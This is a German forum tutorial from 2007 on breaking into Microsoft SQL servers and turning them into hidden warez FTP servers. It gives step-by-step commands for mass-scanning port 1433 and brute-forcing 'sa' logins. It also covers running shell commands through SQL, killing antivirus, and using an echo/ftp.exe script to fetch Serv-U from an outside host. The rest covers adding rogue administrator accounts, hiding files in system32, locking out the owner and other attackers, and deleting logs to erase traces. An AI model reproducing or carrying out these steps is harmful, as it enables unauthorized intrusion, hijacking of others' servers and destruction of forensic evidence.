[Hacking] MSSQL – Scannen, Bruten, Serv-U...

Dieses Thema im Forum "Security Tutorials" wurde erstellt von Lynx, 14. August 2007 .

Status des Themas:
Es sind keine weiteren Antworten möglich.
  1. 14. August 2007
    MSSQL – Scannen, Bruten, Serv-U...

    In dem Tutorial werden nur Grundlegende Dinge erklärt, ihr werdet z.B. nach dem Tutorial nicht wissen wir ihr euren Str0 richtig securen könnt. Gebt mir eine Bewertung für das Tutorial wenn es euch weiter gebracht hat:

    MSSQL – Scannen, Bruten, Serv-U drauf

    Vorwort

    Dies ist zwar eine Menge Material, aber nur, um alles mit reinzunehmen. Die meisten User, die schon eine Weile mit dem Internet vertraut sind, werden Teile überspringen können. Auch wenn es auf den ersten Blick scheint, als sei diese Quantität schier nicht zu bewältigen, werdet ihr merken, dass man eigentlich nur alles einmal lernen muss und einiges nur wissen sollte – letztendlich nichts anderes, als z.B. Mathe zu lernen…

    Bitte versucht, gründlich zu arbeiten. Es ist schade, wenn Stros kaputt gehen, weil einfach vermeidbare Fehler gemacht wurden. Aus diesem Aspekt empfiehlt es sich auch, nicht gleich mit der allerschnellsten Range anzufangen, sondern sich scan- und hacktechnisch langsam hochzuarbeiten, damit die Highspeedserver möglichst nur von Leuten bearbeitet werden, die damit auch umgehen können, ohne etwas kaputt zu machen.


    1. Grundsätzliches

    MSSQL steht für Microsoft SQL Server, ein Datenbanksystem. Standardmäßig wird es reichlich unsicher ausgeliefert, häufig ganz ohne Passwort oder mit Standardpasswort. Über den MSSQL Server können u.a. remote DOS-Befehle ausgeführt werden, auf diesen zuzugreifen ist im Prinzip nichts anderes, als Nachbars W-Lan mitzubenutzen, bloß dass der Server überall stehen kann.

    Alle hier erwähnten Tools befinden sich im Anhang zu diesem Thread.

    1.1. IPs

    IPs sind die Zahlenkombinationen, über die Internetserver angesteuert werden können, unabhängig davon, ob sie noch eine normale Internetdomain haben. Eine IP besteht aus vier Zahlenblöcken von 0 bis 255 mit jeweils einem Punkt zwischen den Blöcken, z.B. 123.4.56.789

    2. Scannen

    MSSQL liegt immer auf dem Port 1433, das entsprechende Scan-Tool sucht dabei einfach eine IP nach der nächsten durch, ob dieser Port offen ist. Gescannt werden kann lokal (vom eigenen Rechner) oder remote (von einem Internetserver). Beides soll hier erläutert werden:



    2.1. Lokal Scannen mit Xray



    Xray ist ein sehr einfach zu bedienendes multifunktionelles Tool. Zunächst einmal werden oben Start- und End-IP eingegeben.

    2.1.1. Welche IP-Range?

    Für die Wahl der richtigen IP-Range (bestimmter IP-Bereich von… bis…) gibt es zwei nützliche Seiten:

    http://www.skynet.cx.la/
    Hier sind diverse Uni-Ranges und andere schnelle Bereiche aufgelistet. Die Chance, hier auf einen schnellen Server zu stoßen liegt viel höher als auf einer beliebigen Range. Allerdings ist zu beachten, dass diese Ranges natürlich schon viel öfter durchgescannt wurden und dementsprechend weniger gefunden wird.

    http://blacklist.cx.la/
    Auf der Blacklist landen „böse“ IP-Ranges bzw. welche, die für böse befunden werden. Leider setzen einige Crews auch absichtlich gute Ranges auf die Blacklist, um diese alleine nutzen zu können (daher glaube ich selber der Blacklist nicht und habe auch schon alle angeblichen FBI-Ranges erfolglos durchgescannt). Die Blacklist ist in jedem Fall eine Orientierungshilfe, entweder für Ranges, die man besser meidet, oder im Gegenteil für Ranges, die man scannt, weil dort natürlich verhältnismäßig mehr Results (Ergebnisse) auftauchen als auf anderen Ranges.



    2.1.2. Port oder Results?

    Xray bietet nun gleich zwei Möglichkeiten, nach was gescannt werden kann: Entweder nur nach dem offenen MSSQL-Port 1433 (im Beispielbild eingestellt) oder, wenn das Häkchen bei MSSQL gemacht wird, direkt nach Zugängen. Letzteres hat den Vorteil, dass nicht mehr gebrutet werden muss, aber den Nachteil, dass jeweils nur ein Username gescannt werden kann und die Passwort-Auswahl von Xray auch nicht verändert werden kann.

    Bei MSSQL ist der am häufigsten verwendete Username „sa“. Will man also direkt nach Results scannen, lohnt es sich am meisten, nur das Häkchen bei MSSQL zu setzen, den Usernamen aber nicht zu verändern.

    2.1.3. Ping-Zeiten

    Eine nicht so klar zu beantwortende Frage ist, wie hoch die Ping-Zeiten eingestellt werden sollen. Das ist von der DSL-Verbindung abhängig und davon, ob man sonst noch etwas an Internettraffic laufen hat. Letztendlich sollte er aber immer irgendwas finden, ich habe schon mit Ping 30 Ms, wenn verfügbar (available) 2 jede Menge Server gefunden, während ich mit 500 Sachen gedownloadet habe. Mit DSL 6000 nehme ich, wenn nichts anderes läuft, meistens Ping 300 Ms, if available 2.

    Wie weit man dabei gehen kann, erkennt man spätestens beim Scan-Vorgang an den offenen „Socks“-Verbindungen zu Servern. Mehr als 100 offene Socks empfehlen sich höchstens bei enorm schnellen Leitungen.

    Hat man schon ein Result, kann man auch damit testen, ob es bei einer gewissen Ping-Einstellung noch gefunden wird, es sollte dann aber nicht das erste sein. Hat man z.B. das Result
    123.183.194.133 port 1433 open
    kann man testweise von 123.183.194.0 bis 123.183.194.255 scannen. Wird es gefunden, dürfte die Ping-Zeit ok sein.


    2.1.4. Ready, steady, go!

    Ist alles – wie oben im Beispiel – fertig eingestellt, braucht man nur noch auf „start“ klicken und Xray legt los. Die Results tauchen in dem dunkelblauen Fenster auf. Hat man nach direkten Ergebnissen gescannt, kann man sofort loslegen, ansonsten werden die Results gesammelt und anschließend gebrutet (s.u.). Xray kann beliebig viele Results auflisten, es hört erst auf, wenn auf „stop“ geklickt wird oder die eingestellte Range durchgescannt wurde.

    Nach dem gleichen Muster kann mit Xray auch alles mögliche andere gescannt werden…


    2.2. Remote Scannen mit DFind

    Zu dem Tool DFind gehören die Dateien DFind.exe, hiddenrun.exe und kill.exe.

    Um remote zu scannen braucht man einen Server mit Exec Rechten. Ganz selten geht das bei Pubs, bei Stros geht das immer, wenn der Stro-Admin dies entsprechend eingestellt hat. Idealerweise habt ihr also schon einen Stro gehackt, bevor ihr remote scannt – oder ihr schnorrt euch von jemand einen Scan-Stro.




    2.2.1. Scan-Stro

    Ein Scan-Stro ist ein ganz normaler Stro, der aber einfach viel zu langsam ist, als dass er sich für Downloads lohnte. Was „viel zu langsam“ ist, muss jeder selber wissen. Dort werden Exec-Rechte freigegeben und in einem bestimmten Verzeichnis gescannt (s.u.)

    2.2.2 Exec-Rechte

    Exec-Rechte bedeutet, dass die DFind-Datei über FTP ausgeführt werden kann. Dies macht man, indem im FlashFXP, nachdem zum Server verbunden wurde, im FTP-Fenster die rechte Maustaste geklickt wird und „Commands“ à „Raw Commands (quote)“ angesteuert wird.

    2.2.3. Steuerung von DFind



    Es erscheint dann dieses Fenster, in das, nachdem die DFind-Dateien auf den Server geladen wurden, folgender Befehl eingegeben wird:

    site exec hiddenrun.exe dfind.exe -p 1433 Start-IP End-IP

    z.B.

    site exec hiddenrun.exe dfind.exe -p 1433 158.130.0.0 158.142.255.255

    Bei Pubs kann dieses Verfahren natürlich auch genommen werden, um auszuprobieren, ob der Pub Exec-Rechte hat.

    Die hiddenrun.exe bewirkt dabei, dass das Programm DFind versteckt läuft, d.h. der Server-Besitzer sieht nicht, dass dieses Programm läuft.

    Das –p bedeutet, das nach einem Port gescannt wird (da auch mit DFind noch andere Scans möglich sind), 1433 ist wieder der MSSQL-Port.

    ACHTUNG: Virenscanner mögen DFind nicht unbedingt. Wenn der Stro einen Virenscanner hat, sollte sichergestellt werden, dass der sich nicht alle 10 Minuten von selber wieder startet, nachdem er beendet wurde, sonst ist das Scannen ein kurzes Vergnügen und die DFind.exe plötzlich weg.

    2.3.4. Results von DFind

    Nachdem der obige Befehl eingegeben wurde, startet der Scan. DFind legt eine Datei „DFind“ (ohne Endung) an in die die Ergebnisse geschrieben werden. Die Ergebnisse sehen prinzipiell ähnlich aus wie bei Xray, bloß dass oben noch einmal der Befehl aufgeführt ist, welche Range gescannt wird und wenn DFind fertig ist unten steht, wie viele IPs und wie viele Funde gescannt wurden.

    Die DFind-Datei kann auf dem Server angeguckt werden, um zu sehen ob der (endlich) fertig gescannt hat, indem sie mit Rechtsklick angeklickt wird und „view“ ausgewählt wird.

    2.3.5. kill.exe

    Die kill.exe ist dafür da, falls mal DFind (oder auch jedes andere Programm auf dem Server, z.B. SQLck, Edonkey usw.) über FTP beendet werden soll; bei DFind, bevor dieses fertig gescannt hat. Dafür wird einfach der Befehl

    site exec kill.exe DFind.exe

    eingegeben.


    3. Bruten im SQLck

    Wenn nur nach Port 1433 gescannt wurde, müssen diese Results noch gebrutet werden, d.h. SQLck muss verschiedene Username/Passwort-Kombinationen testen, ob darüber Zugang zum SQL-Server möglich ist. Hat man über DFind schon nach MSSQL Zugängen mit Username sa gesucht, kann man sich diesen Schritt natürlich sparen.

    3.1. Username / Passwort für SQLck

    Zu SQLck gehören eine Username- und eine Passwort-Textdatei, die eigentlich beliebig heißen kann. Dort können in die jeweilige Datei alle Wörter geschrieben werden, die probiert werden sollen.

    Natürlich können insbesondere bei Passwörtern sehr lange Listen eingerichtet werden, die Frage ist allerdings, wie weit das Sinn macht, weil das Bruten dann umso länger dauert. In der angehängten Datei sind daher nur die am häufigsten verwandten Kombinationen enthalten, damit ein gesundes Verhältnis der Scan-Zeit zu den Ergebnissen erzielt wird.

    Wer allerdings möglichst viele Server finden möchte und die längere Zeit in Kauf nimmt, kann die Listen noch beliebig erweitern.

    3.2. Let’s go

    Mit SQLck wird normalerweise remote gebrutet. Dazu wird die sqlck.exe in das gleiche Verzeichnis des Servers hochgeladen, wo schon die Ergebnisse von DFind liegen (oder die Ergebnisse von Xray, in eine TXT-Datei gepackt). Diese Ergebnis-Datei sollte dann mit der Endung txt versehen werden, also dfind.txt. Nun wird wie bei DFind folgender Befehl eingegeben:

    site exec hiddenrun.exe SQLck.exe -i dfind.txt -u user.txt -p pass.txt -o results.txt

    (natürlich nur, wenn die jeweiligen Dateien auch so heißen). results.txt ist die Datei, wo später die Results von SQLck auftauchen. Nach Eingabe dieses Befehls legt sich SQLck automatisch eine Log-Datei namens SQLck_Logfile.txt an, in dem der jeweilige Stand des Brute-Verfahrens dokumentiert ist. Ist der Brute-Vorgang fertig, erscheint eine entsprechende Meldung unter den Ergebnissen in der results.txt-Datei.

    Man kann auch lokal bruten, dafür werden die SQLck-Dateien sowie die Scan-Ergebnisse in einen Ordner gelegt, in dem eine .bat-Datei mit folgendem Inhalt angelegt wird, die dann einfach ausgeführt wird:

    SQLck.exe -i dfind.txt -u user.txt -p pass.txt -o results.txt


    4. Serv-U FTP Server

    Serv-U ist ein sehr praktisches Programm, da vom eigenen Rechner aus beliebig viele Server ferngesteuert werden können. Natürlich muss es zunächst mal lokal installiert werden. Dieses sollte eingerichtet werden, bevor mit den gebruteten Results etwas weiteres gemacht wird.


    4.1. Serv-U einrichten



    Nach dem öffnen von Serv-U fragt das Programm schon von alleine nach den Einrichtungsdaten für den „Lokalen Server“ (den eigenen Rechner, den man nachher nicht unbedingt als Server laufen lassen muss, aber einrichten muss).

    Hier wird zunächst nach einer Domäne gefragt, die eingerichtet werden soll. Diese Domäne ist der Port, über den später der gehackte Server angesteuert wird inkl. aller Logins. Die „IP-Adresse der Domäne“ wird freigelassen, dann nimmt er alle verfügbaren IPs. Name der Domäne ist egal.

    Damit der Server FXPable sein wird (d.h. Transfer direkt zwischen zwei Servern möglich ist), muss im nächsten Einrichtungsschritt eine Anschlussnummer über 1024 eingegeben werden. Beliebte Anschlussnummer ist z.B. 7999, das ist aber eigentlich recht egal, solange nicht ein Port gewählt wird, der schon von einem anderen Programm verwendet wird (z.B. 1433 für SQL).

    Ist die Domäne fertig eingerichtet, gelangt man automatisch in ihr Hauptfenster. Dort wird erst einmal alles so gelassen.

    Im Untermenü „Einstellungen“ lassen sich unter „Allgemein“ virtuelle Pfade festlegen, z.B. für weitere Festplatten. Das ist aber erst später relevant.

    Was schon mal eingestellt werden kann, sind unter „Nachrichten“ bestimmte Nachrichten vom Server, z.B. kann die Begrüßung „Serv-U FTP-Server“ durch einen eigenen Text ersetzt werden, aber auch Fehlermeldungen wie Error 421 (to many users) können durch eigene Texte ersetzt werden. Unter „Protokollieren“ sollten dann alle Häkchen herausgenommen werden, um keine Spuren zu hinterlassen.

    Als nächstes ist der Unterpunkt „Benutzer“ wichtig. Dort ist zunächst noch nichts, also klickt man in das weiße rechte Feld mit der rechten Maustaste und wählt „Neuer Benutzer“ aus.

    Nun wird der Admin-Account erstellt mit beliebigem Username und Passwort. Als Stammverzeichnis sollte C:\ eingegeben werden, aber im nächsten Schritt ausgewählt werden, dass der Zugriff nicht aufs Stammverzeichnis beschränkt ist (sonst kämt ihr nur auf die C-Festplatte).

    Anschließend wird man direkt ins User-Menü zu dem angelegten Account weitergeleitet. Dort sollte unter Admin-Recht „System-Admin“ gewählt werden und über „Übernehmen“ gespeichert werden.

    Nun wird „Verzeichniszugriff“ ausgewählt. Über hinzufügen sollten so viele Festplatten wie möglich (nach Bock) eingerichtet werden, da der gehackte Server ja auch z.B. Laufwerk X:\ freigegeben haben kann. Es kann zwar später noch für den jeweiligen Server eingestellt werden, praktischer ist aber, später so wenig wie möglich noch einstellen zu müssen. Dann müssen für jede Festplatte alle Häkchen rechts angeklickt werden, da man als Admin ja auch alle Rechte haben sollte. Alle anderen Einstellungen sind optional.

    Über den gleichen Weg können weitere User und auch weitere Domänen angelegt werden, diese werden jeweils für alle gehackten Server erstmal übernommen, es können dann aber, sobald gehackte Server eingerichtet wurden, auch bei diesen einzelne User und Domänen gelöscht werden. Bei den Usern sollte der Zugriff aufs Stammverzeichnis beschränkt werden, da die sonst die komplette Serverstruktur sehen und auch selber Systemdateien löschen können o.ä. Das Stammverzeichnis, z.B. C:\windows\system32\1042\uploads\ wird dem User dann nur als Hauptverzeichnis „\“ angezeigt.

    Da manche Server über einen Router geschützt und kaum Ports freigegeben sind, macht es je nach Ermessen Sinn, eine Domäne auf den Standard-FTP-Port 21 einzurichten, in der Hoffnung, dass zumindest dieser im Router freigegeben ist.

    4.2. Gehackten Server einrichten

    Dieser Punkt ist nur der Einfachheit halber hier aufgeführt, er ist erst relevant, wenn irgendwo ein Serv-U eingerichtet ist.

    Um den gehackten Server im Serv-U weiter zu konfigurieren, klickt man ganz oben auf „Serv-U Server“ und wählt im rechten Fenster dann mit Rechtsklick „Neuer Server“ aus. Dann wird dort die Server-IP eingegeben, danach die Anschlussnummer (Port) der Domäne, dann ein beliebiger Name für den Server, dann Username und Passwort des Admin-Accounts.

    Nun erscheint der Server unter dem „lokalen Server“ und mit Rechtsklick auf den Servernamen kann man auf „Verbinden“ klicken. Wenn er die Verbindung gefunden hat, können weitere Einstellungen wie beim lokalen Server vorgenommen werden, z.B. neue User angelegt werden, aber v.a. auch die Pfade der Stammverzeichnisse anpassen.

    Bei den Domänen können dann auch unter Einstellungen bestimmte Nachrichten eingestellt werden, die beim Verbinden, Abmelden oder Verzeichniswechsel angezeigt werden. Diese müssen als TXT-Datei irgendwo auf dem Server liegen und der jeweilige Pfad zu der Datei wird dann unter Nachrichten eingetragen.

    In diesen Nachrichten lassen sich bestimmte „Variablen“ verwenden, die Auskunft über Serverdaten geben, z.B.


    %UNow User //<-- Wieviele User gerade auf dem FTP unterwegs sind
    %ServerKbDown //<-- Wieviel KB gesaugt wurden
    %ServerKbup //<-- Wieviel KB geuppt wurden
    %DFree //<-- Wieviel Space frei ist
    %ServerKBps //<-- Welchen Speed Der FTP gerade hat
    %ServerAvg //<-- Welchen Speed Der FTP im Schnitt hat
    %LoggedInAllUsers //<-- Wieviele User sich seit dem Start des FTP eingeloggt haben
    %ServerDays //<-- Wieviele Tage der Server läuft
    %ServerHours //<-- Wieviele Stunden der Server läuft(nach 24h + 1 %ServerDays)
    %ServerMins //<-- Wieviele Minuten der Server läuft (nach 60min + 1 %ServerHours)

    Die weiteren Funktionen von Serv-U müssen glaube ich nicht erklärt werden…


    5. Serv-U auf den anderen Server aufspielen

    Nachdem Serv-U eingerichtet ist, müssen die Dateien

    ServUDaemon.exe
    ServUDaemon.ini

    auf einen anderen Server (z.B. einen Pub oder Freespace-Account) ins Hauptverzeichnis geladen werden.

    Nun macht es Sinn, zunächst einmal eine txt-Datei für die ganzen Befehle anzulegen.

    5.1. SQL execute helper Tool 2.0

    Nun wird die SQLexec20.exe geöffnet.

    Dort werden links oben die IP und Username und Passwort, wie von Xray oder SQLck ausgespuckt, eingegeben werden und anschließend „connect“ angeklickt werden.

    Sofern nicht jetzt schon etwas schief gegangen ist wechselt der „connect“ Button mit „disconnect“. Nun können rechts oben beliebige DOS-Befehle eingegeben werden, voreingestellt ist „dir c:\“ der wie im Bild den Inhalt der C:\-Festplatte auflistet und unten anzeigt, wie viel Platz dort noch frei ist. Diese Befehle lassen sich über den „Execute“ Button oder die Enter-Taste ausführen.

    Diesen „dir …:\“ Befehl kann man für alle möglichen Festplatten durchgehen, man kann’s aber auch zunächst einmal lassen, weil was nützen einem die Daten, wenn man den Server evtl. doch nicht kriegt?

    Unter „Default Commands“ lassen sich verschiedene Standard-DOS-Befehle auswählen, dazu später mehr.

    Es macht Sinn, zunächst einmal das Default Command „List Services“ auszuwählen oder einfach „net start“ einzugeben. Es wird dann angezeigt, was alles an Diensten gestartet ist. Falls es hier schon einen Error gibt s.u..
     
  2. 19. August 2007
    AW: MSSQL – Scannen, Bruten, Serv-U...

    Diese Liste sollte einmal durchgeguckt werden, sie verrät oft schon ein bisschen über den Server. Virenscanner und Firewalls sollten zugemacht werden, da viele davon Serv-U wegen des häufigen Missbrauchs (was denn für ein Missbrauch?) als „Virus“ einstufen. Das geht über den Befehl

    net stop „Virenscanner“ /y

    Virenscanner wird dann einfach durch den Namen des jeweiligen Programms ersetzt, genau wie es in der Liste auftaucht, z.B.

    net stop „Symantec AntiVirus“ /y

    Es erscheint dann eine Bestätigung, dass das Programm zugemacht wurde, bei Systemprogrammen die Nachricht, dass das Programm nicht beendet werden konnte. Dies ist jeweils in der Sprache des Betriebssystems des Servers, kann einem also durchaus mal spanisch vorkommen…

    Nun wird auf den Pub o.ä. zurückgegriffen, auf dem die ServUDaemon.exe und –ini liegen. Es wird direkt hintereinander folgender Befehl eingegeben:

    echo open Server-IP >> windows.txt
    echo user Username Passwort >> windows.txt
    echo get ServuDaemon.ini >> windows.txt
    echo get ServuDaemon.exe >> windows.txt
    echo quit >> windows.txt

    „Server-IP“ wird hier durch die jeweilige Server-IP bzw. DNS-Namen ersetzt, Username und Passwort durch die jeweiligen Daten des Servers, z.B.

    echo open 177.122.13.14 >> windows.txt
    echo user anonymous anonymous >> windows.txt
    echo get ServuDaemon.ini >> windows.txt
    echo get ServuDaemon.exe >> windows.txt
    echo quit >> windows.txt

    Das „windows.txt“ kann auch durch einen anderen Namen ersetzt werden, diese Datei wird im system32-Ordner des Servers angelegt und sollte halt dementsprechend unauffällig aussehen, also nicht gerade hacker.txt oder so…

    Dann wird folgender Befehl eingegeben:

    ftp.exe -i -n -v -s:windows.txt

    Dieser Befehl öffnet die auf jedem Windows-Rechner existierende ftp.exe-Datei und holt darüber remote die Serv-U-Daten von dem Pub. Kommt eine Meldung, die ftp.exe existiere nicht, wurde sie gelöscht und es gibt keine Chance mehr auf den Server.

    Hin und wieder gibt es bei diesem Befehl Fehlermeldungen, weil der Server nicht erkennt, dass die „windows.txt“ ins System32-Verzeichnis gehört oder mit dem Usernamen durcheinander kommt. Dann kann ein Alternativbefehl verwandt werden.

    echo open 177.122.13.14>>c:\winnt\system32\windows.txt
    echo anonymous >>c:\winnt\system32\windows.txt
    echo anonymous >>c:\winnt\system32\windows.txt
    echo BINARY>>c:\winnt\system32\ windows.txt
    echo get ServUDaemon.exe>>c:\winnt\system32\windows.txt
    echo get ServUDaemon.ini>>c:\winnt\system32\windows.txt
    echo quit>>c:\winnt\system32\ windows.txt

    Hier muss beachtet werden, dass einige Server den Pfad c:\winnt\system32 haben und andere den Pfad c:\windows\system32. Kommt direkt nach dem ersten Teil des Befehls eine „not found“ Meldung, muss das winnt durch windows ersetzt werden.

    Nach dem „ftp.exe -i -n -v -s:windows.txt” Befehl heißt es erst einmal warten, schließlich dauert es je nachdem, wie schnell der Pub und der zu hackende Server sind, ein Weilchen, bis die Serv-U Daten geladen wurden. Ist dies geschehen, kommt eine Anzeige genau wie der Log vom FlashFXP, aus dem sich ersehen lässt, ob alles geklappt hat.

    ACHTUNG: Es kommt öfters zu Time-Outs. Das bedeutet nicht, dass es nicht geklappt hat, sondern dass der Server einen entsprechenden Time-Out eingestellt hat. In dem Fall muss folgender Befehl eingegeben werden, um zu sehen, ob alles geklappt hat:

    dir c:\winnt\system32\servudaemon.exe

    (auch hier wieder winnt / windows beachten, falls eine not-found Meldung kommt)

    Ist Serv-U drauf, wird die Dateigröße angezeigt, die mit der Datei auf dem Pub verglichen werden kann.

    Ist alles drauf, wird folgender Befehl ausgeführt:

    start ServuDaemon.exe /i

    und direkt danach

    net start serv-u

    Wenn alles korrekt ist, erscheint jetzt die Meldung, dass Serv-U FTP Server erfolgreich gestartet wurde. In dem Fall probiert man am besten, ob man über den im Serv-U eingerichteten Zugang

    ftp://username:passwort@IP:port

    des Admin-Zugangs über FlashFXP reinkommt, z.B.

    ftp://freak:ichbinhierderchef@188.21.1.52:7999

    Wenn das klappt, sollte man zunächst das SQL-Passwort ändern mit

    osql -E -Q "sp_password ALTES PASSWORT,NEUES PASSWORT,USERNAME"

    z.B., wenn das alte Passwort Null (kein Passwort) war und der Username sa

    osql -E -Q "sp_password NULL,scheissmssql,sa"

    Schlägt der Zugangsversuch über FTP fehl, sollte der Port-21-Zugang probiert werden, falls ein Router den eigentlichen blockiert. Schlägt das immer noch fehl, sollte über „net start“ geguckt werden, ob Serv-U dort jetzt angezeigt wird. Ist das der Fall, blockiert der Router auch Port 21, ist das nicht der Fall, sollten die vorhergehenden Schritte ab „start servudaemon.exe /i“ wiederholt werden.


    5.2. Serv-U über existierenden FTP hochladen

    Gerade wenn etwas bei der Script-Methode nicht funzt, aber auch ansonsten ist es manchmal ganz praktisch, wenn bereits ein FTP-Server auf dem Server installiert ist, den man nutzen kann. Pubs wird man allerdings in den seltensten Fällen finden.

    Den Versuch, einfach ohne User/Passwort über FTP zu der Server-IP zu verbinden, kann man machen, wenn über den „net start“ Befehl irgendein FTP-Programm angezeigt wird.

    Wird dort „FTP Publishing Service“ angezeigt und beim FTP-Connect „Microsoft FTP Service“ als Banner angezeigt, kann man sich einen FTP-Zugang anlegen, selbst wenn kein anonymer Zugang erlaubt ist:

    Dafür wird einfach im SQL exec ein neuer User angelegt über den Befehl

    NET USERS Username Passwort /ADD

    z.B. NET USERS freak meinserver /ADD

    Dieser wird sicherheitshalber noch mit Admin-Rechten ausgestattet über

    NET LOCALGROUP Administrators Username /ADD

    z.B. NET LOCALGROUP Administrators freak /ADD

    Nun wird einfach versucht, mit diesen Daten über den Microsoft FTP Server zu verbinden. In den meisten Fällen klappt das und ServUDaemon.exe und –ini können dann einfach per FTP hochgeladen werden.

    Da der freigegebene Ordner aber nicht das system32-Verzeichnis sein wird, brauchen wir noch einen Befehl, um Serv-U überhaupt wiederzufinden:

    dir/s c:\servudaemon.exe

    Wenn eine „File not found“ Message erscheint, wird mit d:\ probiert usw. Irgendwann wird dann der Ordner erscheinen, in dem Serv-U liegt, z.B. c:\wmpub\incoming\. Serv-U sollte dann, um nicht sofort gefunden zu werden, ins System32-Verzeichnis geschoben werden:

    move c:\wmpub\incoming\ServUDaemon.exe c:\windows\system32\ServUDaemon.exe

    Das selbe mit der ini über die jeweiligen Pfade. Nun geht alles normal weiter (start servudaemon.exe /i).


    5.3. Häufige Fehler, Ursachen und Abhilfe

    Beim SQLck kommt es oft zu Fehlermeldungen. Hier die Standardmeldungen, was sie bedeuten und was man tun kann:

    gleich beim ersten DOS-Befehl eine Meldung mit „permission denied“: Der SQL-Server hat mehrere Zugänge und der gebrutete hat keine Rechte. Da kann man nichts machen außer weiter bruten oder den nächsten Result nehmen.
    gleich beim ersten DOS-Befehl eine Meldung mit „xplog70.dll not found“ oder einer anderen DLL-Datei: Entweder der Serverbesitzer war zu blöd, sein MSSQL richtig zu konfigurieren, oder – was wahrscheinlicher ist – ein anderer Hacker hat diesen Server schon geknackt und die Datei gelöscht, damit niemand den Server „rehacken“ kann. Da kann man gar nichts machen.
    gleich beim ersten DOS-Befehl eine Meldung mit „ADODB-Connection“: Der Server ist so konfiguriert, dass keine Remote-Zugriffe möglich sind. Da kann man auch nix machen.
    beim echo…-Befehl kommt die Meldung mit „ADODB-Connection“: Entweder der Server erlaubt keine Remote-Echoes von den Einstellungen her, oder eine Firewall o.ä. blockiert dies. In dem Fall kann man noch mal über „net start“ die gestarteten Dienste durchgehen und Firewalls beenden, ggf. auch auf Verdacht was beenden.
    beim Versuch, die Serv-U Daten remote zu laden, kommt am Ende die Meldung „connection timed out“ nach dem FTP-Log: Dubiose Sache – man kann es mit einem schnelleren/anderen Pub versuchen, das nützt aber nur selten.
    beim Versuch, die Serv-U Daten remote zu laden, kommt am Ende die Meldung, dass der Zugriff auf den Server verweigert wurde: Der Server ist so eingestellt, dass zwar Echoe-Befehle erlaubt sind, die Zugriffe dann aber doch nicht ausgeführt werden – nix zu machen.
    beim „start servudaemon.exe /i“ Befehl kommt ein Timeout: Try again.
    nach dem „net start serv-u“ Befehl kommt ein Error 100: Es läuft schon eine Serv-U auf dem Server oder es wurde versehentlich etwas zweimal geklickt. Manchmal kommt der Error auch ohne ersichtlichen Grund. In dem Fall alle Dateien wieder löschen (del servudaemon.exe) inkl. der windows.txt und alles noch mal probieren, wenn es dann noch nicht klappt evtl. später noch einmal probieren.
    Serv-U ist gestartet, ein FTP-Connect Versuch schlägt aber fehl: Der Server hat einen Router, der den entsprechenden Port blockt oder einen Virenscanner, der den FTP-Zugriff verweigert. Über „net start“ nach Virenscanner/Firewall fahnden und beenden; gegen einen Router kann man nichts machen.

    5.3. Server securen

    Damit nicht der nächstbeste Hacker den Server wieder rehackt, sollte dieser secured werden. Passwort ändern ist zwar eine Möglichkeit, aber noch recht unsicher, da auch einige Leute mit endlos langen Passwortlisten schier alles rauskriegen… Eine gute Möglichkeit ist es, die Remote-Steuerung des MSSQL-Servers unbrauchbar zu machen. Das geht, indem man die xplog70.dll löscht (siehe Fehler unten). Diese findet sich meist in einem Verzeichnis wie /c:/Program Files/Microsoft SQL Server/MSSQL/Binn/, man kann aber auch über mssql danach suchen. Natürlich lässt sich auch mehr machen – z.B. könnte der ganze MSSQL-Server gelöscht werden. Das ist allerdings für den Server-Besitzer auffällig und der soll schließlich nicht merken, dass da eine Serv-U auf seinem Server läuft. Die Kunst am Server sichern ist, dass einerseits so viel wie möglich unternommen werden soll, dass andere Leute den Server nicht rehacken können und zum anderen so wenig wie nötig, wodurch der Serverbesitzer Verdacht schöpfen könnte.

    Was auf jeden Fall noch sinnvoll ist, ist die Logs zu löschen, schließlich sollen ja keine Spuren verbleiben. Dazu legt man am besten eine Bat-Datei an, die auf dem Server ausgeführt wird, mit folgendem Inhalt:
    del/s c:\*.log
    del/s d:\*.log
    del/s e:\*.log
    del/s f:\*.log
    del/s g:\*.log
    del/s c:\ServUStartUpLog.txt
    del/s d:\ServUStartUpLog.txt
    del/s e:\ServUStartUpLog.txt
    del/s f:\ServUStartUpLog.txt
    del/s g:\ServUStartUpLog.txt
    del/s h:\ServUStartUpLog.txt
    del/s i:\ServUStartUpLog.txt
    cmdit.exe -c Application
    cmdit.exe -c Security
    cmdit.exe -c System




    5.4. Sonstige nützliche Tools

    SQLCheck: Das Programm überprüft, ob die Server funktionsfähig sind, d.h. theoretisch genutzt werden können. Es verwendet direkt die Ergebnisse von SQLck.

    SQL-HDD-Speed-Checker: Ohne dass man das über SQLck bzw. über den fertigen Stro selber rausfinden muss, checkt dieses Programm, wie viel Speicherplatz die HDDs haben und wie schnell der Server-Speed ist.
     
  3. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.